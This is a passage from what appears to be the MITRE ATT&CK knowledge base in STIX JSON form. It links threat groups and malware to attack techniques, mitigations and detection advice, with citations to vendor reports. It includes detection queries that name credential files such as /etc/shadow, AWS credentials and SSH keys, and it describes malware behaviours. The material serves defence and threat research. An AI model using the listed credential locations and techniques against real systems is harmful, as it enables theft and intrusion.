2019"},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2021-10-15T16:55:11.428Z","description":"[APT37](https://attack.mitre.org/groups/G0067) obfuscates strings and payloads.(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d8ea8fe-c0d5-4f3b-b0ed-253708c07a0b","created":"2022-02-02T15:13:34.012Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LitePower](https://attack.mitre.org/software/S0680) can use HTTP and HTTPS for C2 communications.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T19:57:48.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d916b31-4d81-4f48-9929-ea2cb0313a42","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d925db0-de86-42c8-b69e-8d89e40328ed","type":"relationship","created":"2020-02-18T18:35:21.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T18:35:21.839Z","relationship_type":"revoked-by","source_ref":"attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d","target_ref":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9d9b0e66-5b9d-4711-8e5a-23e2807ce7ef","created":"2020-09-24T13:19:42.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:26:03.567Z","description":"[RegDuke](https://attack.mitre.org/software/S0511) can store its encryption key in the Registry.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9d9e1fc8-7e93-41e3-b648-762f6f6db384","type":"relationship","created":"2021-02-09T14:35:39.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."},{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.881Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has been executed through user installation of an executable disguised as a flash installer.(Citation: ESET Bad Rabbit)(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9da28d8d-5111-491a-9557-bee7004fc3a6","created":"2023-09-21T21:52:32.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:17:14.881Z","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) uses dynamically linked shared libraries (`.so` files) to execute additional functionality using `dlopen()` and `dlsym()`.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9da590e3-3447-4401-8ac7-f6c7482e4aed","type":"relationship","created":"2020-02-18T16:48:56.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T14:51:49.240Z","description":"An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9da5f1e4-2039-4c6a-8800-2c9277092d7c","type":"relationship","created":"2019-01-30T13:53:14.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-20T02:28:34.478Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) uses cmd.exe to execute itself in-memory.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9da66aaa-79be-426c-8abe-3c68a9159e8b","created":"2023-09-29T20:30:58.166Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:08:34.418Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has installed itself as a new service with the service name `Windows Defender System Service` and display name `WinDefService`.(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9daa4587-0b04-4ec4-acdf-d29a9c659d65","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor DLL files that are associated with COR_PROFILER environment variables.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9db842bf-d65d-44a8-93ca-aef62cadafc1","created":"2019-08-29T18:52:20.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"sentinelone shlayer to zshlayer","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.499Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) has collected the IOPlatformUUID, session UID, and the OS version using the command sw_vers -productVersion.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9db9d690-2c71-4d97-ae9e-445f4bceb279","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for newly constructed files that may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dc0d9c5-1701-47b7-971f-4a1992203776","type":"relationship","created":"2020-02-11T18:45:34.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:45:34.404Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dc630a6-a6fd-4173-8236-9bbb1041f7ea","type":"relationship","created":"2021-03-05T18:54:56.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.641Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used an XSL file to run VBScript code.(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dc99f8a-a41c-41ec-aa56-c2b6c4d37efd","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor the file system for files that have the setuid or setgid bits set. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dcc9cb1-d489-42ab-b647-3a492c04c114","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2019-04-22T22:36:53.187Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can upload files from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dcec42b-174d-4b74-8aab-c5727a71c25c","type":"relationship","created":"2021-05-06T15:38:19.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-06T15:38:19.889Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) can decode and decrypt messages received from C2.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9dcf3707-34ff-4a44-b65b-fc1f8f127bf5","created":"2021-03-29T16:39:26.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Admission Controllers","description":"Kubernetes. (n.d.). Admission Controllers Reference. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers"},{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.208Z","description":"Ensure containers are not running as root by default. In Kubernetes environments, consider defining Pod Security Standards that prevent pods from running privileged containers and using the `NodeRestriction` admission controller to deny the kublet access to nodes and pods outside of the node it belongs to.(Citation: Kubernetes Hardening Guide) (Citation: Kubernetes Admission Controllers)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dcf5d9f-7e68-4a5c-a51c-f3c87d5833cd","type":"relationship","created":"2020-04-29T19:30:54.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-30T14:10:34.498Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) used voStro.exe, a compiled pypykatz (Python version of [Mimikatz](https://attack.mitre.org/software/S0002)), to steal credentials.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dd218c9-f055-48fa-acfc-7f7e7d15bb6d","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9dd6f39e-72c6-4846-acdd-6786843b5dfb","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:37:05.283Z","description":"Monitor for files being accessed that may search for common password storage locations to obtain user credentials.\n\nAnalytic 1 - Unauthorized access to files containing credentials.\n\nindex=security sourcetype IN (\"WinEventLog:Security\", \"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\")\n((sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName IN (\"*passwords*\", \"*creds*\", \"*credentials*\", \"*secrets*\")) OR\n (sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=11 TargetObject IN (\"*passwords*\", \"*creds*\", \"*credentials*\", \"*secrets*\")) OR\n (sourcetype=\"linux_secure\" action=\"open\" filepath IN (\"*/etc/shadow*\", \"*/etc/passwd*\", \"*/.aws/credentials*\", \"*/.ssh/id_rsa*\")) OR\n (sourcetype=\"macos_secure\" event_type=\"open\" file_path IN (\"*/Library/Keychains/*\", \"*/Users/*/Library/Keychains/*\", \"*/Users/*/.ssh/id_rsa*\"))) ","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9de77d26-6424-4ee8-bd7d-1ae705020c55","created":"2022-10-05T16:02:55.768Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:02:55.768Z","description":"For [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors established domains, some of which appeared to spoof legitimate domains.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9de8aee7-1867-48a4-9a78-3076853e43ac","created":"2023-03-26T20:20:11.780Z","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:20:11.780Z","description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can save its configuration data as a RC4-encrypted Registry key under `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GameCon`.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9deaa56a-7d34-4814-acc4-cf78c10bd84c","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:22:00.655Z","description":"Monitor newly executed processes that may attempt to find local system groups and permission settings.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process creation) and Windows Security Log (Event ID 4688 - a new process has been created). The logic in the Analytic looks for any instances of net.exe used for local user/group discovery; although this utility is not normally used for benign purposes, such usage by system administrator actions may trigger false positives.\n\nAnalytic 1 - Local Permission Group Discovery\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"net.exe\" AND (\n CommandLine=\"*net* user*\" OR\n CommandLine=\"*net* group*\" OR\n CommandLine=\"*net* localgroup*\" OR\n CommandLine=\"*get-localgroup*\" OR\n CommandLine=\"*get-ADPrincipalGroupMembership*\" )","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9defa430-9c4c-4dde-b952-d75394c8fd5e","created":"2024-06-10T20:58:38.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:03:41.956Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has named a [PsExec](https://attack.mitre.org/software/S0029) executable winupd to mimic a legitimate Windows update file.(Citation: Huntress INC Ransom Group August 2023)(Citation: SOCRadar INC Ransom January 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9df02934-ee06-4c63-8f27-00b88f615a26","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor newly executed processes associated with running a virtual instance, such as those launched from binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, 